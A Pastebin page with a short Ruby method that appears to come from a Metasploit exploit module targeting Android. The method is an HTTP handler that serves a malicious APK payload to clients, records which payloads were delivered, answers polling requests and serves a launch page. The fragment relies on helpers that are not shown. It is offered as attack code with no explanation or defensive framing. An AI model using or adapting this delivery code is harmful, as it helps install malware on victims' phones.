Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- def on_request_uri(cli, req)
- if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
- if req.method.upcase == 'HEAD'
- print_status "Serving metadata..."
- send_response(cli, '', magic_headers)
- else
- print_status "Serving payload '#{$1}'..."
- @served_payloads[$1] = 1
- send_response(cli, apk_bytes, magic_headers)
- end
- elsif req.uri =~ /_poll/
- vprint_status("Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}")
- send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
- elsif req.uri =~ /launch$/
- send_response_html(cli, launch_html)
- else
- super
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement